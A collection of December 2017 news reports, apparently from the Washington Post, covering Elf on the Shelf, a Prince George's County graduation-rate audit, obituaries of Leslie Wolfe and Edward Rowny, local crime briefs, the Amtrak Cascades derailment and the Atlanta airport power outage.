The Elves on the Shelves of 2017 are sort of a Rorschach test for their families, says Chanda Bell, who, along with her mother and sister, invented the Elf on the Shelf back in 2005 by formally writing down a story that was already a part of their familys folklore. Theyd long had an elf doll that they imagined liaisoned with Santa Claus; now all Elves on the Shelves come with a book outlining the elves history.

We like to point out that the elves take on the personality of their families, says Bells sister, Christa Pitts. Some are whimsical, some are laid back. My elf just enjoys sitting down with a cup of cocoa on a cold day.

Meanwhile, Sam the mauled Orlando elf is back home. Jenn Thelen would like it to be made clear that no surgical supplies were wasted on Sam. Doctors used expired gloves. No patients were kept waiting. Sams arm has been reattached. He is expected to make a full recovery.
Staff at Cleveland Elementary School in the District recently gave a 3-year-old to the wrong person, according to police.

Police were called to the elementary school at 7:28 p.m. Friday, according to a public incident report from the Metropolitan Police Department.

The child was bundled up in winter clothing when a person picked up the youngster, believing the child was his niece. By the time police arrived, the person was on his way back to the school to return the child, according to the report.

Police determined school staff gave the wrong child to the person, the report stated.

News of the incident was first reported by WRC-TV (Channel 4).

Police spokesman Sean Hickman said there doesnt appear to be criminal intent. Hickman declined to say if the person who intended to pick up the 3-year-old was a parent.

Kristina Saccone, a D.C. Public Schools spokeswoman, issued a statement saying the district is looking into the incident. She declined further comment.

D.C. Public Schools is committed to fostering a learning environment where students are safe and secure, she wrote.
Kevin Maxwell (left), chief executive of Prince George's County Public Schools, is expected to present a plan Tuesday to address problems outlined in a state-ordered audit of alleged fraud in graduation rates. Photo by Donna St. George/The Washington Post (dsg/The Washington Post)

Prince Georges County officials will tighten practices for changing student grades, monitoring absenteeism and certifying graduation requirements under a plan that follows an investigation of alleged fraud in graduation rates.

The 40-page plan, slated for discussion by the county school board Tuesday evening, is expected to go to state officials by months end, in answer to wide-ranging problems detailed in a state report last month.

That report found nearly 5,500 grade changes in the days before commencement in 2016 and 2017 in the Maryland school system. A sampling of records showed that about 30 percent of students with late grade changes lacked documentation that justified graduation or were clearly ineligible, according to the report.

Were making a lot of significant changes, said Kevin Maxwell, chief executive of the school system, the states second-largest. Its a serious issue and this is going to help us make sure we are doing everything possible to make sure that our students are ready to graduate on time and that the processes and procedures are followed.

The plan calls for stricter controls on access to student records, added training for employees and elimination of controversial packets of make-up work given to students hoping to recover from failing grades.

[Probe finds late grade changes for 5,500 in Prince Georges]

The district will move toward electronic grade-change forms, starting in a handful of schools in spring, to strengthen monitoring. Next school year, graduation certification also will be done electronically, rather than manually through tally cards  a change that officials said will improve and automate the process.

The district also will revise procedures for tracking attendance and clarify how unexcused absences will affect student grades. Students in jeopardy of failing a course may still enroll in credit recovery through an online program.

An outside firm will be hired to review how the district of more than 132,000 students has implemented recommended changes. Later, an outside firm will also audit a random selection of student grades and graduation requirements.

Gov. Larry Hogan (R) ordered the investigation in Prince Georges after a minority bloc on the school board urged that he look into evidence from whistleblowers that grades and credit counts were manipulated.

A D.C. firm  Alvarez & Marsal Public Sector Services  conducted the seven-week inquiry, looking into complaints, examining records and doing interviews at the countys 28 high schools.

[Firm hired to probe graduation rates in Prince Georges County schools]

Four-year graduation rates in Prince Georges climbed from 74.1 percent in 2013 to 81.4 percent in 2016. While the rate is still lower than last years state average of 87.6 percent, the gain over that period was the largest of any school system in Maryland.

Maxwell had cited improvement in graduation rates as a signature accomplishment.

In an interview, he said he did not think the changes being made would reduce graduation rates in coming years.

I certainly hope not, he said, adding that educators are working hard to make sure students get the support they need.

The state-ordered report that was released in November did not find any improper action was ordered by school system leaders.

Asked what went wrong, Maxwell spoke about longtime procedural issues and high turnover among administrators in schools and the central office. He noted that some schools used out-of-date forms to make grade changes.

Others have said in recent weeks that more investigation is needed.

Edward Burroughs III, a member of the Board of Educations minority bloc, said this month that the audit did not go far enough. He hinted that there were other complaints that were not explored.

[Four school board members in Pr. Georges County allege fraud in graduation rates]

Maxwell said he saw no reason to examine the issue further, calling the investigation a very, very thorough review that provided useful information about a serious matter.

Raaheela Ahmed, also a member of the boards minority bloc, said she thinks accountability for improper action is important but wants to ensure the school system focuses on those who called the shots, not those who may have been pressured.

I want to make sure the right people are being held accountable for the situation were in, and not the foot soldiers, she said. Its a very complex situation, and you dont want someone to be held responsible for something they were told to do by someone else.

John White, a spokesman for the school system, said no employees have been disciplined or fired related to the fraud allegations.

Curtis Valentine, a member of the board majority on this issue, said he appreciated the urgency Maxwell and other leaders gave to the problems identified in report, adding that they were proactive in addressing issues on credit recovery before the report came out. This is one step, and I think another step is that parents and educators feel comfortable enough to come forward with any concerns about the implementation of the changes, he said.

Ovetta Wiggins contributed to this report.
A Montgomery County lawmaker is urging the county to help residents prepay their property taxes before the end of the year, a move that seeks to dodge certain impacts of a Republican-backed federal tax plan but could be tricky to enact.

In a memo to Montgomery's chief administrative officer, Timothy Firestine, council member Roger Berliner (D-Potomac-Bethesda) noted that the tax bill  which edged closer to passage Tuesday  allows homeowners to prepay their local property taxes.

The tax plan, which, if passed, could take effect as early as Jan. 1, also would cap deductions for state, local and property taxes at $10,000, a significant blow to wealthy homeowners in expensive jurisdictions such as Montgomery.

If residents pay their property taxes before the law takes effect, they could avoid the cap for one more year, Berliner said, potentially saving big bucks for those whose homes are worth millions.

Passage of the bill would be a major win for President Trump and congressional Republicans, who are aiming to send legislation to the Oval Office by Christmas. Democrats and other critics say the overhaul disproportionately favors corporations and the very rich, and would dangerously increase the deficit.

State law allows Maryland counties to enact prepayment legislation, county officials said. But the council is out of session until mid-January, meaning any local law would have to be passed next month and implemented retroactively.

Such a move would be rare, Berliner said, but isnt out of the question.

Its one way we can show our residents that we have their backs in the face of larger income tax liability at the federal level, Berliner said.

Berliner said he expected that the all-Democratic council would unanimously support a retroactive prepayment law when it reconvenes in the new year.

He described the cap as particularly harmful to Montgomery County residents because property values in our county are so significant, and so property taxes are generally significant as well.

With the end of 2017 fast approaching, Montgomery officials were in a frenzy Tuesday over how they would be able to quickly enact a prepayment option and find ways of alerting residents.

Firestine said that in addition to passing a new county law, there would be administrative tasks to sort out associated with it, such as getting instructions out to residents and tracking early payments.

Officials acknowledged that the council didnt have much time but said it was important to make the prepayment option available.

Were doing this in real time, Berliner said.
Leslie R. Wolfe, a longtime advocate for the rights of women and girls who helped produce studies showing gender-based inequalities in education and the workplace, died Nov. 30 at a hospice center in Rockville, Md. She was 74.

The cause was complications from dementia, said a former colleague, Karen Schneider.

As president of the Center for Women Policy Studies from 1987 to 2015, Dr. Wolfe was instrumental in drawing attention to a variety of issues, including workplace diversity, reproductive rights, violence toward women and the effects of HIV/AIDS on women. She also helped spotlight the needs of low-income and minority women on a global level.

In 1989, Dr. Wolfe was the co-author of an influential study examining gender bias and racial discrimination in the Scholastic Aptitude Test, the exams widely used in college admissions. The study, which analyzed the performance of 100,000 students, concluded that the SAT was constructed in a biased manner that consistently gave male students higher scores than female students.

Dr. Wolfe also determined that testing was not an accurate gauge of academic achievement, showing that girls typically received better grades in college than the SAT had predicted.



Leslie R. Wolfe. (Sylvia Johnson)

In a later report from 1997, Dr. Wolfe and a co-author found that little had changed since the study eight years earlier. Boys, on average, scored 40 points higher on the SAT, giving them a significant advantage in the awarding of millions of dollars of National Merit Scholarships, based largely on test results.

Researchers from the Educational Testing Service, which developed the SAT, confirmed the gender bias that Dr. Wolfe had highlighted. But when she sought to find ways to change the tests, she encountered opposition from ETS and the College Board, which administered the SAT to hundreds of thousands of students each year.

The organizations have become increasingly hostile to the work weve done, Dr. Wolfe told The Washington Post in 1997. The College Board keeps saying the fault is not in the test, the fault is in the girls. We have research from ETSs own researcher that says even within the highest [income] group, there is a gender gap. Within every racial and ethnic group, there is a gender gap. There is something wrong with the test.

Leslie Rosenberg was born Nov. 24, 1943, in Washington and grew up in Montgomery County. Her father worked at the Pentagon, and her mother was a homemaker.

She graduated from the University of Illinois in 1965, received a masters degree from the University of Maryland in 1967 and a doctorate in English from the University of Florida in 1970.

Dr. Wolfe worked at the National Welfare Rights Organization before joining the Womens Rights Program of the U.S. Commission on Civil Rights in 1973. She was a special assistant at the old Department of Health, Education and Welfare before becoming director of the federal Womens Educational Equity Act program in 1979. She helped ensure federal compliance with the newly enacted Title IX law, which prohibited gender discrimination by institutions that received federal funding.

In 1983, Dr. Wolfe and four other women were dismissed from the federal agency in a reduction in force after an anonymous article in Conservative Digest magazine claimed that her department was a network of openly radical feminists. She believed that the move was politically motivated.

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Dr. Wolfe later directed the Project on Equal Education Rights at the NOW Legal Defense Fund before becoming president of the Center for Women Policy Studies, an advocacy group founded in 1972.

Among other initiatives, Dr. Wolfe developed programs to inform female state legislators about womens rights issues and helped launch efforts to educate women around the world and to bring international lawmakers and other officials to Washington for policy discussions.

Dr. Wolfe retired in 2015, when the center closed. She lived in Chevy Chase, Md.

Her first marriage, to Barry Wolfe, ended in divorce. Her second husband, William Green, died in 1998.

Survivors include a brother.
Retired Army Lt. Gen. Edward L. Rowny, a hard-line arms control adviser to five presidents who resigned from the military in 1979 to campaign successfully against the Strategic Arms Limitation Treaty with the Soviets, died Dec. 17 at a hospital in Washington. He was 100.

The cause was cardiomyopathy, a heart muscle disease, said his son Michael Rowny.

A 1941 West Point graduate, Gen. Rowny built his reputation as a seasoned combat officer. He commanded battalions in Italy during World War II, helped Gen. Douglas MacArthur plan the 1950 landing on the Inchon beachhead during the Korean War and led a regiment in brutal winter combat. He later championed arming helicopters for battle, creating a sky cavalry that he helped implement in Vietnam for counterinsurgency operations. And he rose to quasi-diplomatic positions with NATO during the Cold War.

Dubbed a scholar-general by the New York Times, he began studying the Russian language and Soviet negotiating techniques at Yale University in the late 1940s  experience that positioned him to play a meaningful role in U.S. nuclear policymaking.

Gen. Rowny, who worked in arms control under every president from Richard M. Nixon to George H.W. Bush, became one of the most outspoken and controversial members of the U.S. team sent to Geneva to work on agreements over strategic, or nuclear, arms.



Gen. Rowny in 1981. (Photo by James K.W. Atherton/The Washington Post)

He spent much of the 1970s as the Joint Chiefs of Staff's representative to the second round of Strategic Arms Limitation Talks, known as SALT II. In the ideological battle over negotiating positions and tactics, he worked with proponents of increased military spending  including future President Ronald Reagan, defense official Paul H. Nitze and Sen. Henry "Scoop" Jackson (D-Wash.)  to defeat the SALT II treaty.

The agreement imposed restrictions on the construction and deployment of intercontinental ballistic missiles and slowed the proliferation of multiple nuclear warheads on those missiles.

Gen. Rowny was among those arguing that SALT II endangered American security and lacked enforceable verification provisions, allowing the Soviets, in essence, to cheat and bolster their insatiable drive for nuclear superiority.

He said the Russians retained supposed first-strike capabilities with the potential to destroy the American land-based missile force. The theory was adopted by many neoconservatives at the time, but many other scholars and specialists viewed the claims as exaggerated or dubious.

Gen. Rowny rebuked then-President Jimmy Carter and his fellow arms control colleagues for what he regarded as their weakness in the face of the Soviet threat. Americans were too pragmatic and success oriented, he said, looking for a fast win against a ruthless adversary trained in long-term thinking.

My problem is that the Soviets come from a country that has a lot of patience and plays chess, he told the Associated Press in 1982. I come from a country that has a lot of quarters and plays Pac-Man.

Gen. Rowny said he was well aware of his public image as an inflexible hawk. He looked and sounded the part, with his craggy voice and imposing, broad-shouldered physique. He earned the esteem of conservatives with his unyielding conviction and his ability during arduous meetings in Geneva to out-stonewall the master stonewallers, journalist Strobe Talbott wrote in his 1984 book about nuclear arms control, Deadly Gambits.

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Rowny hoped to impress on the Soviets, and the world, that he was a principled loner who had fought the good fight against the odds and against the soft-liners for years, Talbott said in his book. He liked to remind people, including the Soviets, that he was of Polish descent; the implication was that he had a considerable dose of anti-Russianism in his blood.

Carter and Soviet leader Leonid I. Brezhnev signed the SALT II agreement in June 1979. Two weeks later, Gen. Rowny resigned from the Army, citing dismay with what he considered Carters zeal for a treaty at any price. It was in those next few months that Gen. Rowny had perhaps his greatest influence.

Working with the Committee on the Present Danger, a powerful anti-Soviet advocacy organization, Gen. Rowny testified before congressional committees and lobbied behind the scenes to kill SALT II. In the generals estimation, Carter was making too many concessions that would gave the Soviets a lopsided advantage in terms of intercontinental ballistic missiles and their long-range Backfire bomber.

The Senate declined to ratify it amid widespread concerns over its potential military and economic impact, and Carter withdrew the treaty from consideration in December 1979, after the Soviets invaded Afghanistan.

Gen. Rowny returned to government service after Reagans election to the White House in 1980. He regarded Reagan as a kindred spirit and was ecstatic by the new presidents promises of building up a defense posture to convey strength that would lead to leverage in Geneva.

In 1982, Gen. Rowny was named chief arms control negotiator of the Strategic Arms Reduction Talks, or START. But little progress was made after Reagan introduced plans for the Strategic Defense Initiative program, a land- and space-based antimissile system popularly known as Star Wars. Talks went dormant for more than a year after nuclear-capable Pershing II medium-range ballistic missiles were positioned in Europe in 1983 to counter Soviet SS-20 missiles.

Meanwhile, Gen. Rowny created political headaches for his superiors in Washington. A memorandum featuring his criticisms of arms-control colleagues surfaced in the media in 1983. Gen. Rowny later said the memo, which he dismissed as talking points prepared for me, was leaked to newspapers by a disgruntled secretary.

Two years later, when Reagan made another push for arms talks with the newly installed Soviet leader Mikhail Gorbachev, Gen. Rowny was replaced by former senator John Tower (R-Tex.). Gen. Rowny spent the next five years  under Reagan and then Bush  as special adviser to the president on arms control. He said his influence waned dramatically under Secretaries of State George P. Shultz and James A. Baker III.

He was viewed as an obstacle, said John Prados, a historian who has written extensively on national security. At a certain point that obstacle was viewed as politically useful. Events wore on, and the desire to accomplish agreements became greater, and suddenly his opposition was not politically useful.

Gen. Rowny was left out of a meeting with Soviet Foreign Minister Eduard A. Shevardnadze in 1987 that was pivotal to a breakthrough on the Intermediate-Range Nuclear Forces (INF) treaty. He said Baker's office consistently denied his requests to publish op-eds and make TV appearances.

Gen. Rowny, realizing that he had been marginalized, resigned in 1990. The next year, Bush and Gorbachev signed the START agreement that committed both countries to significantly reduce their strategic nuclear arsenals.

Edward Leon Rowny was born in Baltimore on April 3, 1917. His father, a Polish immigrant, was a contractor who built hundreds of city rowhouses. His mother was also of Polish heritage.

He was studying at Johns Hopkins University when, in 1936, he won a traveling scholarship to Europe. A stop in Berlin convinced him of the inevitability of world war. After graduating from Hopkins in 1937, he enrolled in the U.S. Military Academy at West Point, N.Y.  to get in on the ground floor of the war effort, he later said.

He completed masters degrees in international relations and civil engineering at Yale, both in 1949, and obtained a doctorate in international studies from American University in 1977. He wrote a book about his arms control experiences, It Takes One to Tango (1992), and a memoir, Smokey Joe & the General (2013).

His military decorations included multiple awards of the Distinguished Service Medal, the Silver Star and the Legion of Merit. Reagan awarded him the Presidential Citizens Medal, which cited him as one of the principal architects of Americas policy of peace through strength.

In 1992, Gen. Rowny was instrumental in arranging the return to Warsaw of the remains of the Polish pianist, composer and statesman Ignace Jan Paderewski, who had died in the United States in 1941 and been buried at Arlington National Cemetery.

His first wife, the former Mary Rita Leyko, died in 1988. In 1994, he married Elizabeth Ladd. Besides his wife, of Washington, survivors include five children from his first marriage, Marcia Jordan of Denver, Grayson John Rowny of Silver Spring, Md., Paul Rowny of Minneapolis, and Peter Rowny and Michael Rowny, both of Bethesda, Md.; two stepchildren, Jon Ladd of Potomac, Md., and Lyssa Ladd of Nantucket, Mass.; 10 grandchildren; and 10 great-grandchildren.

As a teenager, Gen. Rowny performed in a Baltimore harmonica band alongside the mouth organ virtuoso Larry Adler. Decades later, the general liked to serenade Soviet negotiators on the instrument when talks came to an impasse.

His musical interludes were not always appreciated by other members of his team, especially the sly musical references that seemed to underscore his perception of talks by two superpowers to decide the fate of the world.

According to Talbotts book, he once launched into what he called the arms control theme song: Im Forever Blowing Bubbles.
Egypts former Premier and presidential hopeful Ahmed Shafiq will face a case in court over announcement of his likely candidacy for 2018 presidential elections on Doha-based al Jazeera.

A lawyer is suing the former army senior officer and premier for inciting public opinion through a hostile channel, media reports say.

The plaintiff was shocked that Shafiq announced his candidacy for the presidency  which is his constitutional right  on the hostile Al Jazeera channel, the complaint reads.

As a former military man, he knows the danger of issuing statements through hostile channels and has deliberately abandoned his military and political reasoning, the complaint adds.

Shafiq returned to Egypt from United Arab Emirates (UAE) this month after he was reportedly deported following his plans to run for next year elections.

Since getting back, the one who was Hosni Murabaks last Prime Minister has been living at Cairos JW Marriott hotel on the grounds that he is waiting for his house to be refurnished.

However, the media say he is held there by security forces and is prevented from moving freely and making public statement.

Saudi Arabia, UAE, Bahrain, and Egypt have banned al Jazeera since June 5 after the four accused Qatar of sponsoring terrorism.

Shafiq announced his candidacy on the Doha-based channel, in a video in which he said his country needed new blood.

On Saturday, he on Twitter called authorities to provide clarifications over the arrest of three of his supporters.

I sincerely apologize to all the young people who have been arrested just because of their personal relations with me, for supporting me or taking part in my 2012 presidential election campaign, Shafiq said.

I urge authorities to quickly clarify this issue. The situation is serious and deserves more disclosure on whether these are the reasons for their arrests or not, he added.

The 76-year old man is seen as the main challenger for Abdel Fattah al-Sisi in next year election, even if al-Sisi has not declared his candidacy yet.

Shafiq narrowly lost the 2012 election to deposed president Mohamed Morsi. He fled to the UAE after losing the elections.
MARYLAND

Police identify man

fatally shot in garage

Police have identified a man found fatally shot in the garage of his Upper Marlboro home over the weekend as Kermit Holland.

Officers were called shortly before 11 p.m. Friday to the 13400 block of Vandiver Court to check on an unresponsive man.

Holland, 53, was found with a gunshot wound and pronounced dead at the scene.

Authorities are working to identify a suspect and motive.

Police ask anyone with information to call 301-772-4925 or 866-411-8477.

A blast to be heard

in Bethesda area

Residents who live near the Medical Center Metro station in Bethesda should not be worried if they hear a loud blast Wednesday.

Officials said they will set off a single, controlled explosion underneath Rockville Pike near the station, the National Institutes of Health and the Walter Reed National Military Medical Center.

The explosion is to take place between 10:30 a.m. and 1:30 p.m.

A warning siren will sound about five minutes before the blast, officials said. Another will sound one minute before.

There will also be short restrictions on entering the Metro station at that time.

The explosion is part of the Crossing Project, work meant to help vehicles and pedestrians get through the heavily traveled area more easily.

 Dana Hedgpeth

VIRGINIA

Significant increase in traffic deaths in 2017

Traffic deaths in Virginia are up significantly from last year.

The Roanoke Times reported that, through Saturday, 815 people had been killed on Virginia roads in 2017. That is up from 705 for the same period last year, according to the Virginia Department of Transportation.

This years count does not include four deaths in the Roanoke area over the weekend, including those of a 75-year-old woman and an 81-year-old man, who died in separate incidents.

About 40 percent of Virginias traffic fatalities involve a vehicle hitting a fixed object, such as a tree.

 Associated Press
Merrick Garland, chief judge of the U.S. Court of Appeals for the District of Columbia Circuit, announced that the court will begin streaming live audio of oral arguments upon request. (Susan Walsh/AP)

In a move to increase public access and transparency in the court system, a federal appeals court in Washington announced Tuesday that it will live-stream audio of any oral argument upon request.

The announcement from Merrick Garland, chief judge of the U.S. Court of Appeals for the District of Columbia Circuit, follows the courts decision in October to allow live audio of arguments only after a vote of the individual judges presiding over a hearing. The announcement Tuesday will allow for live-streaming without such a vote.

In a statement, the court said a panel could still make an exception based on confidentiality concerns.

Audio recordings of oral arguments have been available online since September 2013 and the court will continue to post those records by 2 p.m. on the day of arguments.

In October, the court agreed to live-stream audio of an oral argument for the first time in 16 years, that of a high-profile case involving a pregnant immigrant teen seeking an abortion while in U.S. custody.

[Federal judges are rarely heard in real-time outside the courtroom]

The District of Columbia Circuit is not as far along as the U.S. Court of Appeals for the 9th Circuit. The 9th Circuit  which hears appeals from federal courts in nine states, including California and Washington  has long allowed audio and video recordings of oral arguments and live-streaming.

The federal judiciary system leaves it to individual circuit courts to decide whether to allow recordings of its proceedings. While nearly all of the 13 circuits that handle appeals from the federal courts post audio recordings of their proceedings, most are not live-streamed.

Requests for live-streaming of District of Columbia Circuit arguments should be sent by email to liveaudiorequest@cadc.uscourts.gov.
A firefighter and five residents of an apartment building were injured Tuesday in a fire in Prince Georges County, authorities said.

At about 7:15 a.m., firefighters responded to a two-story apartment building at Carriage Hill Apartments in the 3300 block of Curtis Drive in Hillcrest Heights on a report of a fire, Prince Georges County Fire Department spokesman Mark Brady said.

Minutes later, evacuation tones were sounded and firefighters were ordered to leave the building immediately, Brady said. He said the fire had extended to the attic and roof area of the building.

One firefighter and five residents of the building who were rescued were injured, authorities said.

The firefighter suffered a minor injury and returned to duty. Of the five injured residents, two were transported for treatment of injuries.

Prince Georges Fire Department spokesman Alan Doubleday said most of the residents in two buildings damaged by the fire would be displaced.

He said firefighters did an amazing job.

We went to a second alarm very quickly, he said. The fire was well ahead of them when they got there.
The same robber, apparently armed with a pistol, has held up convenience stores in the District five times since the day after Thanksgiving, the D.C. police said.

In the first of the holdups, a convenience store was robbed in the 900 block of Bladensburg Road NE about 2:20 a.m., the police said.

In the most recent of the robberies, money was taken at gunpoint from a store, possibly the same one, in the same block of Bladensburg Road, the police said.

During the intervening period, robberies were carried out in another block of Bladensburg, and on Georgia and Martin Luther King Jr. avenues. In addition to the five robberies, the man attempted a robbery at another store, but left without money.

In that case, they said, an employee fled to the back of the store and the would-be robber left.

Surveillance camera footage shows most of the robberies, but the robber appears to wear a hood and a partial mask and does not seem readily recognizable.

In some of the footage, he holds the gun before him, gripped in both hands. Store employees, according to police, are ordered to open the cash registers. When they are open, in at least some of the incidents, the robber scoops up cash with one hand, while holding the gun in the other.
Three men suspected of stealing $22,000 worth of clothes from a high-end outdoor shop in downtown Washington and stuffing the items into a stolen church van have been arrested after they allegedly robbed a cellphone shop in neighboring Prince Georges County almost two weeks later, police said.

Police said they suspect the men are linked to at least seven robberies in the region, according to authorities in the District and Prince Georges.

Prince Georges police said the men walked into a store in the 9000 block of Alaking Court in Capitol Heights about 12:45 p.m. Sunday and demanded phones and cash before they fled.

Minutes later, county officers spotted the van involved in the cellphone store robbery parked in a nearby lot in the 7000 block of Marlboro Pike, police said.

Van Earl Eubanks, 57, of Temple Hills, Steve Alexander, 46, of Temple Hills and Derrick Robinson, 51, of the District were arrested on robbery charges, police said.

Prince Georges police said they suspect the men were involved in two other robberies that occurred at cellphone stores in the county this month.

Rachel Schaerr, a D.C. police spokeswoman, said detectives believe the suspects are also linked to a series of similar robberies in the District, some of which were committed at high-end stores and involved a stolen church van.

No one has been charged in the D.C. cases.

Surveillance video from about 5 a.m. on Dec. 5 at Arcteryx at CityCenter D.C. in Washington shows three men coming out of the store with armfuls of clothing, loading the goods into a church van that had been reported stolen  and later was recovered  and driving away, according to information released by police.

Other D.C. robberies that police said they suspect are linked to the suspects include a jewelry store on F Street NW and several cellphone stores.

In most of the cases, the men would order those in the stores to the back and steal items before getting away, D.C. police said, sometimes indicating they had a gun or weapon.

In the Prince Georges cases, two of the men would carry out the robbery while the third waited in the getaway vehicle, police said.

Peter Hermann contributed to this report.
A photo provided by the Indiana State Police shows the wreckage from a small plane crash Saturday night, Dec. 16, 2017, in southeastern Indiana. Sgt. Stephen Wheeles says the crash of the single-engine Cessna plane near Oldenburg, Indiana, killed three people and one dog aboard the aircraft. A second dog survived. Wheeles says the plane was traveling from Kansas City, Missouri, to Frederick, Maryland, and had taken off from an airport outside Columbus, Indiana, before crashing. The names of the victims haven't been released. (Indiana State Police via AP) (AP)

Three people killed in the crash of a small plane in Indiana were identified Monday as two residents of the Washington area and the adult daughter of one of them. .

One was Dr. Louis R. Cantilena Jr., a professor of medicine and pharmacology at the Uniformed Services University of the Health Sciences in Bethesda, according to Dr. Richard W. Thomas, the universitys president. His daughter, Amy, also died, Thomas said in a statement.

Amy Cantilena held a PhD in molecular and integrative physiology, and had been accepted into the University of Kansas Medical Centers MD/PhD physician scientist training program.

The other man killed was Paul F. Schuda, according to a statement from the Civil Air Patrol, which quoted the Associated Press.

The CAP, an Air Force auxiliary, said Schuda was an official of the patrols National Capital Wing. It said he was the wings standardization/evaluation officer, and assistant director of operations.

Schuda is listed as the director of the training center of the National Transportation Safety Board. The uniformed services university described him as a friend of Cantilenas family.

Cantilena was flying the single-engine plane that crashed near Oldenburg, Ind., on Saturday. It was en route from Kansas City, Mo., to an airport in Frederick County, Md. Cantilena was a member of the CAPs national Congressional Squadron, the patrol said.
The National Transportation Safety Board says the train that derailed Monday as it made its way from Seattle to Portland was going more that twice the posted speed limit when it jumped the tracks on a bridge over a busy interstate highway.

Preliminary indications are that the train was traveling 80 miles per hour in a 30 mile per hour track, NTSB member Bella Dinh-Zarr said Tuesday.

Three people where killed and more than 100 injured when one of two engines and 12 cars derailed, many of them tumbling onto a busy interstate highway below.

As rain poured down Tuesday, cranes moved in to clear the damaged cars from Interstate 5, one of the busiest highways on the West Coast, which authorities said may remain closed for several days.

NTSB officials said that investigators had not spoken with the train crew and they were uncertain whether the crew was familiar with the speed limits in the zone. The train was making its inaugural run on a 14.5-mile stretch of recently refurbished track.

Two of the three people who died Monday were identified as Zack Willhoite and Jim Hamre, both train buffs who were eager to be aboard the inaugural run of the Amtrak train over the new route.

If the automatic braking system known as positive train control (PTC) had been operating, sensors along the track bed would have slowed the train before it entered the left-hand curve where it derailed, and the fatal wreck could have been avoided, investigators said.

It can prevent collision, said Deborah A.P. Hersman, former chairman of the NTSB and now head of the National Safety Council. This technology has been proven. And each year we delay the mandate to put it on these routes is another year that passengers and communities are at risk.

Congress initially took action after a 2008 collision of a commuter train and a Union Pacific freight locomotive that killed 25 people and injured 135 in Chatsworth, Calif. At that time, Congress mandated that all railroads have PTC installed by the end of 2015.

Though the Federal Railroad Administration pressed the railroads to complete the PTC system, the railroads told Congress in 2015 that PTC technology was too complex and the $14.7 billion cost to equip freight and commuter lines was prohibitive.

Congress, which has received $56 million in campaign contributions from the railroads since 1990, relented. The lawmakers voted to extend the PTC deadline until 2018 and left open the possibility they might grant a further extension until 2020.

The shameful part, the disappointing part, is that positive train control should have been implemented nationwide long ago, and it hasnt been, Dinh-Zarr said Tuesday. Thats one reason people have been losing their lives.

SoundTransit, which owns the track on which the Amtrak train was operating Monday, planned to comply with the congressional mandate and install PTC sensors next year. Although Amtrak trains are equipped with PTC, the Washington State Department of Transportation said the necessary trackside sensors to enable it were not yet in place.

It is now the end of 2017 and we still dont have positive train control protecting people on these passenger routes, Hersman said. And there really is no reason not to move forward with positive train control.

Willhoite was an IT specialist at Pierce Transit, which said in a statement: He will be sincerely missed. Our thoughts are with Zacks family, as well as the families of the other victims, during this very difficult time.

The death of Hamre, a former Washington State Department of Transportation employee, was confirmed by the group All About Washington, on whose board he served. Hamre posted photos on Facebook on Friday of the Amtrak train pulling into a station on the old coastal scenic route where the train used to run.

Both men were passionate advocates for passenger railroad.

Jim was among the countrys most respected and effective rail advocates, and a good friend and mentor to me, said Rail Passengers Association President Jim Mathews. Both Jim and Zack have been advocates of transit and passenger rail for decades, and we cant thank them enough for their work.

Amtrak was running what railroaders call a push-pull operation, with a locomotive at either end of the 12-passenger cars. Dinh-Zarr said the data recorder had been retrieved from the engine that was at the tail end of the train.

A second data recorder, this one from the lead locomotive, was found Tuesday, and from that investigators were able to determine that the emergency brake was automatically engaged and not activated by the engineer. Surveillance cameras from onboard the train are being sent to laboratories to try to extract video footage, Dinh-Zarr said.

By Tuesday afternoon, crews had removed two train cars, including one that was dangling from the overpass, and were in the process of removing at least two others to a site where the NTSB would continue the investigation, the Washington State Department of Transportation said.

Claudia Baker, another transportation spokeswoman, said that until the train cars are removed the agency wont know whether there is damage to the highway. But she said that it is a possibility that damage to the road could extend the lanes closure.

An Amtrak locomotive weighs about 200 tons, while passenger cars are about 65 tons.

The wreck left locomotives and rail cars scattered  several of them on the highway below, one tucked under the bridge it was to cross, others beside the railroad embankment and one dangling from the bridge with an end resting on the rail car that had been in front of it.

[Amtrak crew members call to 911: We went on the ground]

At least five vehicles passing below on I-5  including two tractor-trailers  were heavily damaged as the rail cars from Amtrak Cascades train 501 fell from above.

There were 80 passengers, three crew members and two cafe car workers aboard the train. The 100 people police said were taken to the hospital reflected that some of the injured were traveling in vehicles on I-5.

The NTSBs lead investigator is Ted Turpin, who also worked on the 2015 Amtrak derailment in Philadelphia and was the lead investigator for the Long Island Rail Road train crash at New Yorks Atlantic Terminal this year.

NTSB officials will spend Tuesday making sure they have all the photos and doing a 3-D scan on those rail cars to understand how the damage occurred and how people may have been injured.

They will document the external and internal parts of the train and walk the tracks to determine whether there are any track issues. They also will interview survivors and crew members.

As the investigation continues, they will collect records, including those of the test runs before Mondays inaugural trip. If needed, they may subpoena phone records of crew members to determine whether they were distracted.

They will want to rule out any mechanical or equipment defects first, Hersman said. They have the recorder, and the recorder does tell them things like whether or not the brakes were applied.

Interviewing the engineering crew and anyone who was in the locomotive cab will be critical to understand whether the crew saw the speed limit signs that are posted along the route.

The recorders, the interviews, the physical evidence on the scene, it all will help paint the complete picture for the investigators, she said.

The Amtrak train was on its first run on tracks that had been rebuilt at a cost of $181 million, using a bypass and avoiding a more scenic but slower passage along the coastline. The new service is said to save 10 minutes in travel time between Seattle and Portland.

The new Amtrak Cascades service is part of an expansion of Amtrak intercity passenger rail service that includes station upgrades and expansions and the addition of new locomotives. Washington and Oregon jointly operate the Amtrak Cascades intercity passenger service. Officials celebrated the opening of the Tacoma station along the rebuilt route with a ribbon-cutting Friday.
Destiny Easley missed her flight because of the long lines at the Delta Air Lines ticket counter on Monday at the Atlanta airport. (John Spink/AP)

Officials at Georgias leading power provider faced tough questions Monday, a day after a massive power outage grounded travel at the worlds busiest airport for nearly 11 hours at the start of one of the biggest travel weeks of the year.

Georgia Power officials said the investigation continues into the cause of the fire-related outage at Hartsfield-Jackson Atlanta International Airport. However, they said a piece of the utilitys switchgear in an underground electrical facility may have failed and started the blaze. A switchgear helps to manage the flow of power.

The utility had backup equipment, officials said, but it was in an adjacent room and was also damaged in the fire.

We are doing what we can to make sure this never happens again, Georgia Power spokesman Craig Bell said. We truly apologize for the inconvenience.

Bell said the utilitys systems include multiple backups that continue switching until a power source is found. He characterized the outage Sunday as an anomaly.



Stranded passengers wait near the baggage claim at Hartsfield-Jackson Atlanta International Airport on Monday. (Jessica Mcgowan/Getty Images)

Fires almost never happen in one of our underground facilities, he said. Mechanical breakdowns can happen and the system continues to switch until it finds a source, but when you add fire  that was the wild card.

